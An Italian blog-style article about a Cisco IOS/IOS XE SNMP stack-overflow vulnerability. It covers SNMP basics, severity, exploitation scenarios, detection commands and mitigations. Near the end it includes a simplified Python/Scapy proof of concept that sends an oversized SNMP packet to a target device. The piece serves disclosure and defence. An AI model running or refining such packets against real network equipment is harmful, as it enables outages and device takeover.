SNMPocalypse: il bug di Cisco consente agli hacker di mandare in crash o di controllare i dispositivi

CVE-2023-20352 è una vulnerabilità critica di stack overflow nel motore SNMP di Cisco IOS/IOS XE. Con soli pacchetti SNMP appositamente costruiti, gli attaccanti remoti possono mandare in crash i sistemi o ottenere il controllo root. Tutte le versioni SNMP sono vulnerabili: applica la patch ora o rischi la compromissione totale.

Di Mark Malllia

Introduzione a SNMP

Il Simple Network Management Protocol (SNMP) è un protocollo fondamentale nell'amministrazione di rete, che consente agli amministratori di sistema di monitorare, configurare e gestire i dispositivi di rete. Opera sulle porte 161 (per le richieste SNMP) e 162 (per le trap). SNMP supporta tre versioni: v1, v2c e v3, ciascuna con diversi livelli di sicurezza. Questa vulnerabilità mi tocca da vicino: la mia tesi era incentrata su SNMP e Cisco rimane un punto fermo nel mio lavoro quotidiano.

L'utilità di SNMP si estende al monitoraggio in tempo reale, alla gestione dell'inventario e al rilevamento dei guasti attraverso le reti. Nonostante la sua importanza, il ruolo di SNMP nella gestione della rete comporta anche rischi per la sicurezza quando non è adeguatamente protetto, come si vede nella vulnerabilità CVE-2023-20352.

Cosa è andato storto: spiegazione della CVE-2023-20352

CVE-2023-20352 è una grave vulnerabilità di overflow del buffer basato su stack che colpisce i dispositivi Cisco IOS e IOS XE. Risiede nel sottosistema SNMP, che elabora il traffico di gestione della rete.

Dettagli tecnici:

• Tipo di vulnerabilità: Overflow del buffer basato su stack (CWE-121)
• Punteggio CVSS: 7.7 (Alto)
• Impatto: Potenziale Denial of Service (DoS) o esecuzione remota di codice (RCE)

La vulnerabilità viene innescata da pacchetti SNMP appositamente costruiti inviati a un dispositivo vulnerabile, causando un controllo dei limiti inadeguato e un overflow dello stack. Tutte le versioni SNMP sono interessate.

Scenari di sfruttamento

1. Attacco con privilegi bassi:

   • Accesso richiesto: stringa di sola lettura SNMPv2c o credenziali SNMPv3.
   • Impatto: riavvio del dispositivo (DoS).

2. Attacco con privilegi elevati:

   • Accesso richiesto: stringa SNMPv1/v2c con credenziali di privilegio 15.
   • Impatto: RCE completa come root.

Rilevamento e verifica

Per rilevare le vulnerabilità, gli amministratori possono usare i seguenti comandi CLI:

show running-config | include snmp-server community
show running-config | include snmp-server group
show snmp

Metti in sicurezza: misure di mitigazione

• Applicazione delle patch: Cisco ha rilasciato patch firmware per le piattaforme interessate.
• Limita l'accesso SNMP: limita l'accesso agli IP fidati se non lo hai già fatto.
• Disabilita gli OID vulnerabili: usa comandi come snmp-server view <view-name> <OID> excluded.

Come gli attaccanti possono sfruttarla

Un PoC concettuale che usa Python e Scapy dimostra la sfruttabilità:

from scapy.all import *

# Replace with target IP and SNMP community string
target_ip = "192.168.1.1"
community = "public"

# Craft malicious packet
payload = b"A" * 1024  # Overflow buffer
packet = IP(dst=target_ip)/UDP(dport=161)/SNMP(community=community, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))

send(packet)

Nota: Questo è un esempio semplificato. Lo sfruttamento reale richiede una costruzione precisa del payload e un escalation dei privilegi.

Conclusione

La vulnerabilità CVE-2023-20352 sottolinea il ruolo critico di SNMP e i rischi associati. Le organizzazioni devono dare priorità all'applicazione delle patch e alla messa in sicurezza delle configurazioni SNMP per mitigare le minacce, garantendo la resilienza della rete contro gli attacchi emergenti.